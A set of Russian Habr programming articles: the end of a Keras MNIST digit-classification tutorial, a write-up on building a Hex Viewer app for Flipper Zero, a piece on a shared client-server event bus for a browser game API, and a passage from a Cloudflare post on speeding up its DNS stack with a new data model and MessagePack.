Максимальный элемент массива под индексом 4, соответственно, цифра- 4.
Изменим индекс и посмотрим, что будет.
```
k = 10
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
print(
model.predict(np.array([X_test[k]]))
)
```
Тут видим, что исходя из степенней и чисел, мы видим, что большее число под индексом 0, соответственно и цифра 0.
Надеюсь, вам понравился мой пост и он будет вам полезен, вот весь код для вставки в гугл колаб:
```
import tensorflow as tf
import keras
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
from keras.layers import Dense, Flatten
from keras.models import Sequential
from keras.datasets import mnist
(X_train, y_train), (X_test, y_test) = mnist.load_data()
print(X_train.shape)
print(y_train.shape)
plt.imshow(X_train[12], cmap='binary')
plt.axis('off')
print(y_train[12])
X_train = X_train/255
X_test = X_test/255
print(y_train[0])
y_train = keras.utils.to_categorical(y_train, 10)
y_test = keras.utils.to_categorical(y_test, 10)
print(y_train[0])
model = Sequential()
model.add(Dense(32, activation='relu', input_shape=(X_train[0].shape)))
model.add(Dense(64, activation='relu'))
model.add(Dense(128, activation='relu'))
model.add(Dense(256, activation='relu'))
model.add(Dense(512, activation='relu'))
model.add(Flatten())
model.add(Dense(10, activation='sigmoid'))
model.compile(loss='categorical_crossentropy',
optimizer='adam',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=50 )
k = 6
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
k = 10
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
```
2 блок кода:
```
k = 6
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
print(
model.predict(np.array([X_test[k]]))
)
k = 10
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
print(
model.predict(np.array([X_test[k]]))
)
``` | https://habr.com/ru/post/705306/ | null | ru | null |
# Пишем Hex Viewer для Flipper Zero
Примерно месяц назад основная поставка Flipper'ов таки доехала до России. Вопреки моим ожиданиям, это не вызвало волну публикаций про создание приложений под него. Хорошие публикации есть (например, [эта](https://yakovlev.me/hello-flipper-zero/) и [вот эта](https://habr.com/ru/post/594895/)), но массовости нет. Слишком долго ждали и перегорели? Пишут долго и обстоятельно? Технологический стек устройства не подходит для быстрого и легкого старта? Как бы то ни было, такой расклад ничуть не убавил мотивации поиграться с устройством! С удовольствием уделил несколько вечеров созданию своего первого приложения под Flipper Zero: **Hex Viewer**, шестнадцатеричного просмотрщика. О своем опыте и интересных находках расскажу в теле статьи.
Небольшое лирическое отступлениеБолее 12 лет опыта работы в индустрии программирования научили меня ценить возможность "зрить в корень" файлов, видеть их шестнадцатеричное отображение. Большинство программ показывают нам свою *интерпретацию* файла. Например, MS Word и Libre Office могут по-разному показывать один и тот же DOCX-файл. А современный текстовый редактор может по своему усмотрению преобразовать переносы строк, выравнивание (tab vs space), иногда даже кодировку. В основном это сделано для нашего блага, так как убирает сложность. Однако платой за это является потеря контроля над настоящим содержимым файла: байтами на диске. Шестнадцатеричный просмотрщик помогает вернуть контроль назад. Обычно я использую Lister в Total Commander. Считаю, что его хоткей - F3 - это лучшая кнопка в TC. С помощью Lister можно в мгновение ока открыть файл любого размера (за счет [memory-mapped files](https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0_%D0%B2_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C)), поискать что-то внутри (в том числе по регулярным выражениям), быстро открыть файл из диалога результатов поиска (его хоткей: Alt+F7).
Итак, 3 ноября я получил свой Flipper Zero. Полазил по менюшкам, отсканировал парочку домофонных ключей, послушал [marble machine](https://www.youtube.com/watch?v=IvUU8joBb1Q) в 8 битах (лайк за выбор мелодии). На флэшке начали появляться разные файлы, и специфичные приложения могли их открывать. Это, конечно, здорово, но захотелось разобраться, как они устроены, что представляют из себя *на самом деле*. Сделать это было невозможно - в официальной прошивке нет даже файлового менеджера. Так родилась идея создать шестнадцатеричный просмотрщик. Не мудрствуя лукаво, решил назвать его просто **Hex Viewer**.
Создание приложения
-------------------
На момент написания статьи [раздел про разработку firmware](https://docs.flipperzero.one/development/firmware) на официальном сайте Flipper'а пустует, поэтому было решено начать с [страницы исходников в GitHub'е](https://github.com/flipperdevices/flipperzero-firmware). Репозиторий проекта уже был на моей машине, так как летом отправлял [небольшой PR](https://github.com/flipperdevices/flipperzero-firmware/pull/1361) для змейки (в учебных целях порефачили его с командой в онлайне). Забегая вперед скажу, что это сослужило мне плохую службу: с того момента API системных вызовов изменилось, пришлось делать лишнюю работу по замене системных вызовов. Поэтому перед началом разработки приложения рекомендую забирать самую свежую версию исходников прошивки.
Перед началом разработки приложения под Flipper Zero перво-наперво нужно добиться работоспособности [FBT](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/fbt.md) (Flipper Build Tool) на вашей машине. Эта утилита умеет собирать прошивку целиком, собирать приложения, собирать и запускать конкретное приложение на устройстве, включать режим отладки, настраивать VS Code, etc. В общем, швейцарский нож. Настроили и забыли, очень удобно пользоваться.
В качестве основы для приложения был взят музыкальный плеер, music\_player. Он подкупал тем, что показывал на старте нужный мне диалог выбора файлов, и, собственно, работал с этими файлами. По большому счёту я просто скопировал кодовую базу в папку **applications\_user**, переименовал файлы, удалил лишние файлы воркера проигрывателя, переименовал структуры данных и оставил только нужные поля в структурах. Помимо правки исходников на C, заполнил FAM-файл манифеста поиском/заменой. Он достаточно интуитивный, удалось заполнить с первого раза без чтения документации.
НаблюдениеБольшинство приложений под Flipper Zero, которые мне удалось изучить, имеют общую структуру: основную точку входа в приложение, процедуры аллокации и деаллокации, структуру под хранение контекста и открытых системных ресурсов, etc. Напрашивается шаблон по принципу Cookiecutter, когда можно просто задать несколько параметров, а на выходе готовая основа для приложения. Возможно такой шаблон появится в будущем
Подход с копированием плеера позволил быстро запустить условный "Hello, world!". Из функции рисования (`render_callback`) были удалены хитрости рисования клавиш фортепиано и проигрываемых нот. Оставлены утилитарные захват/освобождение мьютекса, подготовка канваса и шрифта, отрисовка названия приложения:
```
static void render_callback(Canvas* canvas, void* ctx) {
HexViewer* hex_viewer = ctx;
furi_check(furi_mutex_acquire(hex_viewer->model_mutex, FuriWaitForever) == FuriStatusOk);
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 12, "HexViewer");
furi_mutex_release(hex_viewer->model_mutex);
}
```
После нескольких итераций правок опечаток и очевидных ошибок, удалось запустить приложение на устройстве. На экране флиппера гордо загорелась надпись "Hex Viewer". Ура!
Кстати, запуск приложения в основном осуществлялся посредством всемогущего fbt:
```
sudo ./fbt launch_app APPSRC=applications_user/hex_viewer
```
ПримечаниеНу конечно `sudo` тут для ленивых. Дело в том, что без лишних телодвижений приложение не запускается с отказом на доступ к `/dev/ttyACM*`. На самом деле правильно выяснить нужную группу (скорее всего **dialout** как у меня) с помощью команды `ls -l /dev/ttyACM*`, а затем добавить текущего пользователя в группу `sudo adduser USER GROUP` и сделать логофф/логон. Гуглится [по первой ссылке](https://forum.arduino.cc/t/permission-denied-on-dev-ttyacm0/475568)
Дальше мне было необходимо продумать:
* Лэйаут приложения, понять какая информация будет показываться на экране
* Как пользователь будет взаимодействовать с приложением
У флиппера довольно небольшой экран, поэтому возможности по отображению информации существенно ограничены. До начала разработки я нарисовал на бумаге небольшой макет своего приложения:
Дизайн приложения, нарисованный от руки. Практикую с 2014 годаВ общем-то ничего творческого, довольно типичные для такого класса приложений:
* Колонка с оффсетом относительно начала файла
* Байты файла в шестнадцатеричном отображении
Изначально было выдвинуто предположение, что в одной строке на экране уместятся 4 байта информации. В дальнейшем оно подтвердилось. Прокручивать содержимое файла предполагалось с помощью физических кнопок "Вверх" и "Вниз" устройства. Каждая прокрутка - сдвиг на 4 байта к началу или к концу файла соответственно. Операции на кнопках "Влево" и "Вправо" были придуманы уже по ходу дела.
После окончания проектирования, можно было приступать непосредственно к программированию логики просмотрщика. В модели был заведен буфер на 16 байт, а код рисования был дополнен отображением этого буфера. Строка формируется побайтно, а выводится единым вызовом `canvas_draw_str`. Учитывая еще один вызов для отрисовки адреса, получается по 2 вызова на строку, всего 8 на экран. Неплохо.
Запуск этих изменений через fbt привел к желаемому результату: на экране устройства отобразились заветные нули и растущий счётчик байт. Выглядело это вот так:
Фактически proof of concept того, что просмотрщик на флиппере использовать можноКстати, шестнадцатеричное отображение байтового буфера и счётчика байт было создано с помощью старой доброй функций языка C под названием [sprintf](https://cplusplus.com/reference/cstdio/snprintf/). Конечно, пришлось немного погуглить, вспомнить [спецификаторы форматов функции printf](https://cplusplus.com/reference/cstdio/printf/), но в целом без особенной боли удалось достичь желаемого отображения.
Рисование элементов на экране в большинстве изученных приложений попиксельное. Т.е. нужно точно задать координаты на экране, никаких автоматических инструментов размещения а-ля Layout не обнаружил. Для отладки пиксельной точности размещения компонентов использовал макросъемку телефона. Можно было сделать проще: официальное desktop-приложение qFlipper умеет стримить экран устройства и делать скриншоты (наподобие того, что размещен в самом начале статьи). Но у меня не получилось одновременно держать запущенным qFlipper и запускать приложения через fbt. Видимо кто-то держит канал в блокирующем режиме. Поэтому быстрая итерация через фото на телефон оказалась удобнее.
Скриншот более поздней версии: честно прочитанные из файла байты и кнопка переключения режимаСледующая задача: прочитать реальный файл с флэш-карты устройства. По простоте душевной решил поискать в проекте вызовы fopen, и к большому удивлению ничего не обнаружил. Далее решил обратиться к уже знакомому музыкальному плееру, и там напал на ложный след в функции `music_player_worker_load_fmf_from_file`. Обнаруженная группа функций **flipper\_format\_file\_\*** предназначается для работы с файлами в специальном внутреннем формате файлов Flipper'а (подсмотреть в него можно будет на одном из скриншотов в статье). Изучив заголовочный файл с описанием этих функций, я даже немного расстроился, потому что они плохо подходили под чтение файлов общего назначения (в произвольном формате). Из-за этого Hex Viewer мог получиться очень неэффективным. Благо буквально в соседней функции плеера `music_player_worker_load_rtttl_from_file` нашлось другое API для работы с файлами, группа функций **storage\_file \_\***. Они позволяли работать в привычном для языка C режиме: open/read/size/seek/close.
Первая реализация чтения с карты была максимально простой:
* Открытие файла
* Сдвиг на нужное количество байт (вычисленное по формуле: номер строки в просмотрщике \* 4 байта)
* Чтение буфера (16 байт)
* Закрытие файла
И так на каждую операцию прокрутки файла (+ при изначальном открытии). Такой подход не отличался оптимальностью, но успешно работал: флиппер довольно шустро читал байты и отображал на экране.
В ранней версии приложения была допущена ошибка: оффсет отображался в десятичном формате, хотя на рисунке первоначального дизайна отображен в шестнадцатеричном Задача минимум была достигнута, поэтому я решил уделить немного времени рюшечкам, а именно рисованию иконки. Как [рассказывал ранее](https://habr.com/ru/post/518012/), у меня имеется небольшой опыт рисования в фотошопе, поэтому в качестве редактора был использован именно он. За основу была взята иконка музыкального плеера. По плану в качестве иконки приложения должны были выступить символы **0x**. В первой итерации я попробовал нарисовать эти символы подходящим моноширинным пиксельным шрифтом. В тот момент еще не пришло осознание, что иконка размером всего лишь 10 на 10 пикселей. Помучившись со шрифтами, я решил нарисовать иконку попиксельно. После нескольких итераций у меня получилась вполне себе сносно смотрящаяся на устройстве иконка (на экране компьютера она смотрелась немного иначе, рекомендую рисовать несколько вариантов и тестировать на устройстве).
Два символа уместились буквально пиксель в пиксельКстати, с сохранением иконки были определенные трудности. Прямолинейное сохранение в PNG дало на выходе файл размером ~1Кб, тогда как оригинальная иконка весила ~140 байт. Пришлось доставать Lister и разбираться, что же такого Photoshop вставляет в файл :) Ответ был на поверхности: кучу метаданных. Немного помучившись с диалогом "Сохранить для Web", удалось ужать размер файла до ~150 байт (хоть и все метаданные выкусить не удалось). Картинка успешно открылась на устройстве, дальнейшая борьба за десятки байт показалась бессмысленной. **UPD**: как [@Dr\_Zlo13](/users/dr_zlo13)и [@vvzvlad](/users/vvzvlad) подсказали в комментариях, при сборке картинки автоматически преобразуются в компактный формат heatshrink-compressed xbm image. Получается, сэкономил только место в git'е.
Как уже говорилось ранее, экран у флиппера небольшой, поэтому уместить одновременно все три типичные колонки hex viewer'а (счётчик адреса, шестнадцатеричное отображение и отображение печатаемых символов) не получится. Поэтому было решено пойти на хитрость: сделать переключатель режима отображения, регулирующий вид пространства слева от шестнадцатеричного отображения байт. В качество переключателя используется физическая кнопка "Влево" флиппера. На экране же с помощью специальных библиотечных хелперов рисуется кнопка-подсказка. Она не только показывает пользователю возможность нажать кнопку, но и отображает текущий вид отображения по принципу "toggle".
Обработчик нажатия физической кнопки меняет флаг режима. В коллбеке отрисовки в зависимости от флага рисуется либо счетчик адресов, либо отображение [печатаемых символов](https://en.cppreference.com/w/c/string/byte/isprint). С введением этого функционала наконец-то стало возможным подсмотреть в содержимое файлов в человекочитаемом виде.
Помимо кнопки переключения режима в приложение была добавлена кнопка отображения информации о файле. В данный момент реализовано через подъем библиотечного диалогового окна, в котором отображается полный путь к файлу и его размер. Из прочих мелких улучшений хочется отметить появление скроллбара для индикации положения в файле при прокрутке. Из-за минимализма API скроллбара и особенностей отображения контента в приложении (прокрутка по одной строке, отображение по 4 строки), для вычисления правильного значения позиции пришлось прибегнуть к несложной математике, прямо в функции рисования.
Приложение на тот момент уже обрело целевую функциональность, пришло время заняться его производительностью. С самого начала меня беспокоил вопрос эффективности чтения байт файловой системы. В начальной версии на каждую прокрутку выполнялось открытие файла, чтение шестнадцати байт и закрытие файла. Это не очень эффективный способ работать с байтами хотя потому, что прокрутка содержимого выполняется на 4 байта, а вычитывается весь буфер из 16 байт. Поэтому я решил поискать в системе какие-нибудь API для буферизированного чтения, и как ни странно такой API нашелся. Рассказать о нем придется в два этапа. Во-первых, есть набор функций **file\_stream\_\***, которые предоставляют привычные методы для работы с файлом, но оперируют понятие "стрима", представленного структурой Stream. Фактически это более высокоуровневая это обертка, но не просто над file-like сущностью, а так же операциями над ним. Внутри структуры хранится реализованная вручную таблица виртуальных функций, выполняющих операции open/seek/read/close/etc. Во-вторых, есть группа функций **buffered\_file\_stream\_\***, подменяющая виртуальные функции в структуре Stream на собственные, выполняющие магию буферизации. Основные функции для работы со стримами не догадываются о том, что используют буферизированные версии, переход абсолютно бесшовный. Моё уважение разработчикам стандартной библиотеки за удачное применение такого известного приема, как реализация в C самописной таблицы виртуальных функций (как в высокоуровневых языках).
```
struct StreamVTable {
const StreamFreeFn free;
const StreamEOFFn eof;
const StreamCleanFn clean;
const StreamSeekFn seek;
const StreamTellFn tell;
const StreamSizeFn size;
const StreamWriteFn write;
const StreamReadFn read;
const StreamDeleteAndInsertFn delete_and_insert;
};
```
Таким образом, благодаря возможностям библиотеки удалось абсолютно прозрачно подменить обычный файловый стрим на буферизированный, который уже не обращается к устройству каждый раз при необходимости чтения файла. Портировать код на новый подход оказалось довольно просто, мне всего лишь пришлось разбить мою единственную функцию чтения на две: первичное открытие (`hex_viewer_open_file`) и последующее чтение по запросу прокрутки (`hex_viewer_read_file`). Я не могу судить, насколько такая оптимизация действительно помогает снизить нагрузку на устройство. Могу лишь заметить, что визуально скроллинг стал немного шустрее.
Несколько слов про рабочие окружение и работу в Visual Studio Code. Интеграция есть из коробки, выполняется вызовом двух команд.
```
./fbt vscode_dist
./fbt firmware_cdb
```
С первого раза полноценно заставить VS Code видеть моё приложение и подсвечивать ошибки у меня почему-то не получилось. ~~Возможно кто-то из читателей статьи подскажет, что для этого нужно сделать~~. Спасибо читателям, что подсказали как это сделать. Это не сильно мешало, ибо с помощью запуска приложения на устройстве посредством командной строки удавалось довольно быстро итерироваться. Компиляция и запуск занимали порядка 5 секунд что, собственно, никак не ограничивало мою производительность. Помимо небольшой сложности с настройкой Visual Studio Code непосредственно для моего приложения, в общем-то всё работало достаточно хорошо, среда позволяла "ходить по функциям", умела прыгать по определениям и так далее. То есть пользоваться было довольно удобно. Также при разработке помогает старый добрый Ctrl+Shift+F (глобальный поиск по проекту) в случаях когда нужно сделать что-то по аналогии или понять как пользоваться функциями.
[Возможностями отладки](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppsOnSDCard.md#debugging-faps) приложений воспользоваться не довелось. Приложение очень простое, весь написанный код либо работал с первого раза, либо не работал по очевидным причинам. Чаще возникали ошибки компиляции или приравненные к ним предупреждения (warning'и), которые среда настойчиво просила править, отказываясь запускать приложение на устройстве. Хороший подход, поддерживаю.
Периодически руки тянулись написать тесты на некоторые утилитарные вычисления внутри приложения. Однако недостаток опыта программирования на С вызывал некоторый дискомфорт при мыслях о создании большого количества тестируемых функций. Поэтому пока я решил оставить приложение без тестов.
Итог
----
В конечном счете у меня получилось довольно функциональное и производительное приложение. В первую очередь оно было полезным мне самому: благодаря нему удалось разобраться в формате файлов Flipper Zero непосредственно на самом устройстве. Исходя из общей полезности и безобидности, я считаю такое приложение вполне могло бы присутствовать в стандартной прошивке. В [unleashed-сборку](https://github.com/DarkFlippers/unleashed-firmware) уже [включили](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/unlshd-016).
Оказывается, родной формат файлов флиппера текстовый!Хотелось бы выразить огромную благодарность [@vvzvlad](/users/vvzvlad), автору [статьи](https://habr.com/ru/post/594895/) про разработку приложения-счетчика для флиппера. Я почерпнул оттуда полезную информацию, уже до начала разработки примерно знал к чему готовиться, реализовал многое по аналогии.
[Ссылки проекта на GitHub](https://github.com/QtRoS/flipper-zero-hex-viewer) (репозиторий пересоздан по совету из комментариев)
[Ссылка на собранное приложение](https://disk.yandex.ru/d/7oJhKSwi8nyYqQ) (собрано под v0.70, работает после обновления на v0.71) | https://habr.com/ru/post/700378/ | null | ru | null |
# Социальные игры: сервер, клиент и общая шина событий
Добрый день.
У меня выдалось свободное время, и я решил написать статью про несправедливо обойденный вниманием паттерн написания api. Он подходит в случае, если у Вас и клиент и сервер содержат сложное состояние, и есть необходимость его синхронизировать. На мой взгляд, социальные игры идеально подходят под это описание. В силу того, что я ещё не достиг того уровня мастерства, когда могу писать статьи про программирование без кода, спешу предоставить пример, демонстрирующий данный подход. Посмотреть код можно на github: <https://github.com/dbalakov/studio_game>.
Немного реверансов про проект. Стиль написания отличается production кода, в силу того, что цель — максимально быстро и наглядно продемонстрировать идею. Например, вместо использования [jake](https://github.com/mde/jake) Вам придется вручную установить [connect](http://www.senchalabs.org/connect/) и [node-uuid](https://github.com/broofa/node-uuid).
```
npm install connect
npm install node-uuid
```
Также, вместо использования встроенных сессий тут самописный велосипед. Нет работы с базой данных, но про это есть замечательная статья от mail.ru [Базы данных в онлайн-играх. От Аллодов Онлайн до Skyforge](http://habrahabr.ru/company/mailru/blog/182088/), а вписать DAO слой в данный проект можно просто и безболезненно.
Стоит отметить и полное отсутствие тестов, но про тестирование в nodejs будет отдельная статья.
Я попробую построить эту статью в виде потока мыслей на каждом этапе разработки, поэтому начнем мы с постановки задачи и будем постепенно, медитация за медитацией, реализовывать проект.
#### Постановка задачи
Мы пишем игру про разработку игр. У нас есть проект, над которым можно работать, а потом когда мы готовы показать проект миру, мы можем продать его и начать новый. У проекта есть 3 основные характеристики: graphics, features, bugs и улучшая каждую из них, мы можем менять выходную стоимость проекта.
#### Первая медитация
Архитектуру клиент-серверных приложений лучше всего начинать строить с api. Это позволяет увидеть и клиент, и сервер, и, исходя из постановки, у нас получается следующий api:
* **init** метод, инициализирующий сессию, и возвращающий клиенту игровые настройки и другую техническую информацию
* **login** метод, возвращающий клиенту данные игрока
* **newProject** метод, создающий новый проект
* **sellProject** метод, продающий текущий проект
* **startWork** метод, начинающий работу над проектом
* **completeWork** метод, который применяет работу над проектом и меняющий его характеристики
После кружки кофе и внимательного взгляда на этот api, можно понять, что он избыточен: init, login и sellProject, newProject — связанные методы: после init тут же вызывается login, а после продажи проекта мы тут же начинаем новый — поэтому мы можем объединить эти методы. После этого наш api выглядит примерно так:
* **init** метод, инициализирующий сессию, и возвращающий клиенту игровые настройки, данные игрока и другую техническую информацию
* **newProject** метод, продающий существующий проект и создающий новый
* **startWork** метод, начинающий работу над проектом
* **completeWork** метод, который применяет работу над проектом и меняющий его характеристики
Реализацию мы начнем с сервера и, конечно, со слоя модели. То, что у меня получилось, можно посмотреть в папке [models](https://github.com/dbalakov/studio_game/tree/master/models).
#### Вторая медитация
Если Вы внимательно посмотрите на своего руководителя проекта, то заметите искорки в его глазах: это новые, пока еще нерожденные идеи и фичи, которые потом придется включать в код, поэтому для упрощения добавления новых методов в api мы вспомним заповедь [DRY](http://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself) и поймем, что дублировать описание методов и на клиенте и на сервере — это избыточно. Пусть метод init возвращает список и описание методов, по которому мы и построим объект api. То, что у меня получилось, можно посмотреть тут: [реализация метода на стороне сервера](https://github.com/dbalakov/studio_game/blob/master/api/commands/init.js). Но это грозит дополнительной нагрузкой на сервер, и, чтобы уменьшить ее, мы кэшируем ответ. Реализация на клиенте [тут](https://github.com/dbalakov/studio_game/blob/master/public/js/api.js)
#### Третья медитация
Попробуем представить наш будущий код. Например, что должно происходить на клиенте и сервере при продаже проекта? Мы увеличиваем деньги игрока и инициализируем новый проект, то есть и на клиенте и на сервере должно быть выполнено что-то подобное:
```
player.money += projectCost;
```
Но во время предыдущей медитации мы уже вспоминали принцип [DRY](http://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself), а писать на клиенте и на сервере одно и то же является явным его нарушением. Для того, чтобы упростить код обработчиков ответов сервера и избежать идентичных строк в коде клиента и сервера, мы введем шину событий, общую для клиента и сервера, то есть модель на сервере сама будет следить за своими изменениями и уведомлять о них клиент. На сервере за это отвечает [model](https://github.com/dbalakov/studio_game/blob/master/models/model.js), и если в коде Вы используете сеттеры, а не обращаетесь напрямую к свойствам объекта, Вы автоматически получите актуальную модель и на клиенте.
На клиенте же обработчик событий можно написать один раз, причем в данной реализации он даже не зависит от структуры модели.
#### Вывод
После трех несложных медитаций мы получили проект с «пластилиновым» кодом, который легко читать и расширять. А если у нас не 4 серверных метода, а хотя бы штук 30, то мы получим выигрыш не только в читаемости, но и в размере кода. Поэтому я призываю всех коллег потратить хотя бы час-два на обдумывание задачи за листочком, прежде чем бежать создавать новый проект и быстро-быстро писать код.
P.S. Моей кошке не понравилась первая версия статьи и она хамски ее удалила, сославшись на полную нечитабельность. Надеюсь, я учел ошибки, и статья стала понятной. | https://habr.com/ru/post/188928/ | null | ru | null |
# Как мы ускорили наш DNS стек в 3 раза
Компании Cloudflare уже пошёл 6-й год и предоставление авторитативных DNS серверов было основной нашей инфраструктуры с самого начала. С тех пор мы выросли, став самым большим и быстрым поставщиком услуг DNS в Интернете, обслуживая около 100 000 сайтов из списка [Alex top 1M sites](https://www.datanyze.com/market-share/dns/Alexa%20top%201M/), и более 6 миллионов DNS зон.
На сегодняшний день наш сервис DNS отвечает около 1 миллиона запросов в секунду — не считая трафика во время атак — с помощью глобальной anycast сети. Разумеется, технологии, которые мы, будучи растущим стартапом, использовали для того, чтобы обслуживать сотни и тысячи зон несколько лет назад уже не справляются с миллионами, которые мы имеем сегодня. В прошлом году мы решили заменить два ключевых элемента в нашей DNS инфраструктуре: часть нашего DNS сервера, который отвечает на авторитативные запросы и систему, которая берёт пользовательские изменения и обновляет их на пограничных серверах по всему миру.
Примерная картина нашей архитектуры показана на рисунке выше. Мы храним пользовательские DNS записи и прочую оригинальную информацию в центральной базе данных, затем конвертируем сырые данные в формат, который могут использовать наши сервера, и затем раздаем их [в >100 дата центров](https://www.cloudflare.com/network/) (мы называем их PoPs — Points of Presents ("Точки присутствия")), используя KV (ключ/значение) хранилище.
Сами запросы обслуживает наш собственный DNS сервер, rrDNS, который мы разрабатываем и используем уже несколько лет. В ранние дни Cloudflare, наше DNS решение было основано на PowerDNS, но оно было полностью заменено rrDNS в 2013 году.
Команда Cloudflare DNS таким образом отвечает за два элемента системы: систему передачи данных между серверами и rrDNS. Начальная идея была заменить нашу систему передачи данных на полностью новое решение, поскольку нынешнее решение стало устаревать — как и любая инфраструктура, которой больше 5 лет. Нынешнее решение было построено для того, чтобы работать поверх PowerDNS и постепенно разививалось со временем. В нём накопилось достаточно изъянов и скрытых фич, потому как изначально оно было создано для трансляции DNS записей в формат PowerDNS.
Новая модель данных
===================
В старой системе, модель данных была достаточно простой. Мы хранили DNS записи примерно в том же виде, в котором они представлены в наших графических интерфейсах или API: одна запись на ресурсную запись (resource record — RR). Это означало, что сервис передачи данных между серверами должен был заниматься лишь простой сериализацией, когда нужно было отдавать данные зон для наших пограничных серверов.
Метаданные зоны и RR сериализировались используя смесь JSON и Protocol Buffers, хотя мы никак особо не использовали схематическую природу этих протоколов, и в итоге схемы становились раздутыми и финальные данные были больше, чем это было необходимо. Не говоря уже о том, что по мере того, как количество ресурсных записей в базе данных выросло до 100 миллионов, эта, казалось бы, небольшая разница в размере становилась очень заметной.
Стоит напомнить, что DNS на самом деле не оперирует на уровне ресурсных записей, когда отвечает на запросы. Вы запрашиваете имя и тип (например, `example.com` и `AAAA`), и в ответ вам вернётся RRSet — который является *набором* из нескольких RR. В старой модели данных RRSets были разбиты на множественные записи для RR (один ключ на запись), что обычно означало несколько обращений к KV-хранилищу чтобы ответить на один DNS-запрос. Мы хотели это исправить и сгруппировать данные вокруг RRSet так, чтобы один запрос требовал лишь одно обращение к KV-хранилищу. Поскольку для Cloudflare очень важно оптимизировать производительность DNS, множественные запросы к KV-хранилищу сильно мешали сделать rrDNS настолько быстрым, насколько это возможно.
В том же духе, для запросов вроде A/AAAA/CNAME, мы решили сгруппировать данные в один ключ по "адресу", вместо одного ключа на RRSet. Это ещё более помогает избавиться от дополнительных обращение к хранилищу во многих случаях. Объединение ключей также помогает уменьшить использование памяти на кэше, который мы используем для KV-хранилища, посколько мы храним больше информации по одному ключу.
Определившись с новой моделью данных, нам требовалось определиться с тем, как мы сериализируем данные и отправляем их на пограничные сервера. Как было уже сказано, мы ранее использовали смесь JSON и Protocol Buffers, но мы решили заменить это на полностью [MessagePack](http://msgpack.org/) реализацию.
Почему MessagePack?
===================
MessagePack является бинарным типизированным форматом сериализации данных, но при этом не привязывает жестко данные к схеме. В этом смысле он похож немного на JSON. Как отправитель, так и получатель может добавлять или игнорировать дополнительные поля — это уже на совести приложения.
Для сравнения, Protocol Buffers (или другие форматы вроде [Cap'n Proto](https://capnproto.org/)) требуют сначала определить схему данных в языконезависимом формате, и затем генерируют код для конкретной реализации. Поскольку DNS уже имеет большую структурированную схему, мы не хотели повторять её реализацию на другом языке, и затем это поддерживать. В прошлой реализации на Protocol Buffers, мы не описывали схемы для всех типов DNS как следует — чтобы избежать необходимости этой поддержки — и в итоге это вылилось в очень запутанную модель данных для rrDNS.
И когда мы смотрели на новые форматы, мы хотели что-то быстрое, легкое в использовании и которое сможет легко интегрироваться с нашей кодовой базой и библиотеками, которые мы использовали. rrDNS активно использует библиотеку [miekg/dns](https://github.com/miekg/dns) на Go, которая оперирует большой коллекцией структур для каждого RR типа, например:
```
type SRV struct {
Hdr RR_Header
Priority uint16
Weight uint16
Port uint16
Target string `dns:"domain-name"`
}
```
При декодировании данных из наших сервисов в rrDNS нам нужно конвертировать RR в эти структуры. И оказалось, что библиотека [tinylib/msgp](https://github.com/tinylib/msgp), которую мы пробовали, представляет хорошие возможности для кодогенерации. Это позволяет автоматически генерировать эффективный код на Go из этих описаний структур без надобности поддерживать определение схемы в другом формате.
Это означало, что мы могли работать и дальше с RR структурами из miekg (с которыми мы уже были знакомы в rrDNS), сериализовать их напрямую в бинарные данные, а затем десеериализовать их на пограничных серверах прямо в нужные нам структуры. Нам не нужно было теперь заботиться от соответствии одного набора структур другим, что сильно упрощало работу.
MessagePack также невероятно быстр, в сравнении с другими форматами. Вот вырезка из [сравнения скорости сериализации в разных форматах для Go](https://github.com/alecthomas/go_serialization_benchmarks#results); мы можем увидеть, что он значительно превосходит по скорости другие кросс-платформенные решения, и это также очень повлияло на наш выбор.
Сюрпризом для нас оказалось то, что после перехода на новую модель мы на самом деле уменьшили количество места, занимаемое данными на пограничных серверах в 9 раз, что было гораздо лучше того, что мы ожидали. Это ещё раз доказывает, какой сильный эффект на систему может оказывать раздутая модель данных.
Новый сервис передачи данных
============================
Ещё одной важной особенностью Cloudflare DNS является наша способность обновлять изменения по всей планете в считанные секунды, а не минуты или часы. Наша существующая система передачи данных едва справлялась с растущим количеством зон, и даже при изменении 5 зон в секунду, в самые спокойные периоды, нам необходимо было уже новое решение.
Обновление данных по всему миру это непросто
============================================
С недавнего времени мы мониторим этот процесс и можем визуализировать время обновления изменения по всему миру. График ниже показывает данные с нашего end-to-end мониторинга: сначала мы делаем изменения в DNS с помощью нашего API, и мониторим как быстро данные обновились в разных точках планеты. Каждая точка на графике представляет отдельную пробу, тестирующую один из наших PoPs (Точек Присутствия) и замеряется задержка между реальным изменением через API и тем, когда она становится видима миру.
Из-за нескольких уровней кеша — как внутренних, так и не подконтрольных нам — мы можем видеть распределение по 10 секундным интервалам и значения меньше 1 минуты, и они постоянно меняются. Для мониторинга и уведомлений этого разрешения достаточно, но мы безусловно планируем улучшить это. В нормальных условиях, новые данные о DNS в 99% случаях становятся доступны в течении 5 секунд.
На первом графике мы видим несколько инцидентов, где задержки в пару минут были видны на небольшом количестве PoPs из-за проблем с соединением, но в целом все пробы показывают очень стабильный результат.
Для контраста, вот график со старой системы передачи данных за тот же период. Легко увидеть растущие задержки для всех PoPs.
С новой моделью данных, которая лучше подходила под наши паттерны запросов, мы реализовали новый сервис, который подхватывает изменения в зонах из центральной базы данных, делает необходимую обработку и отправляет данные в KV-хранилище.
